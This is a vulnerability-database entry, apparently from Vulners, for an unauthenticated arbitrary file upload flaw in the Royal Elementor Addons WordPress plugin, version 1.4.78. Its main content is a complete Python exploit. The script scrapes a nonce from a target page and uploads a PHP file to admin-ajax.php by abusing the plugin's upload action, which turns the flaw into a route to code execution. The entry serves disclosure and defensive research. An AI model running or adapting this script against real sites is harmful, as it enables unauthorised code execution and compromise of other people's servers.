Lucene search
+L

Royal Elementor Addons and Templates 1.4.78 - Unauthenticated Arbitrary File Upload

🗓️ 23 Oct 2023 00:00:00Reported by Fioravante SouzaType 
wpexploit
 wpexploit
👁 178 Views

Exploit for Royal Elementor Addons allows unauthenticated file uploads via a Python script.

Related
Code
Make sure you have Elementor installed and a page or post edited with Elementor.

Here's the python script that will execute the exploit.

from io import StringIO
import requests
from urllib import parse
import json
import sys
import re
import io

if len(sys.argv) != 2:
 print('USAGE: python %s <target_elementor_page>' % (sys.argv[0],))
 sys.exit()

elementor_url = sys.argv[1].rstrip('/')
parsed_url = parse.urlparse(elementor_url)
root_url = f'{parsed_url.scheme}://{parsed_url.netloc}'

with requests.Session() as s:
 print('# Getting nonce..')
 page = s.get(elementor_url).text
 nonce = re.search(r'WprConfig = \{.*"nonce":"([a-f0-9]+)"', page).groups()
 if len(nonce) == 0:
  print('Error: Couldn\'t get nonce.')
  sys.exit()
 nonce = nonce[0]

 print('# Uploading shell..')
 shell = io.BytesIO(b'<?php phpinfo();')
 data = {
  'wpr_addons_nonce': nonce,
  'max_file_size': 100,
  'allowed_file_types': ',',
  'action': 'wpr_addons_upload_file',
  'triggering_event': 'click',
 }
 file = {
  'uploaded_file': ('phpinfo.php.', shell),
 }
 print(requests.post(f'{root_url}/wp-admin/admin-ajax.php', data=data, files=file).text)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Oct 2023 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19.8
EPSS0.81695
178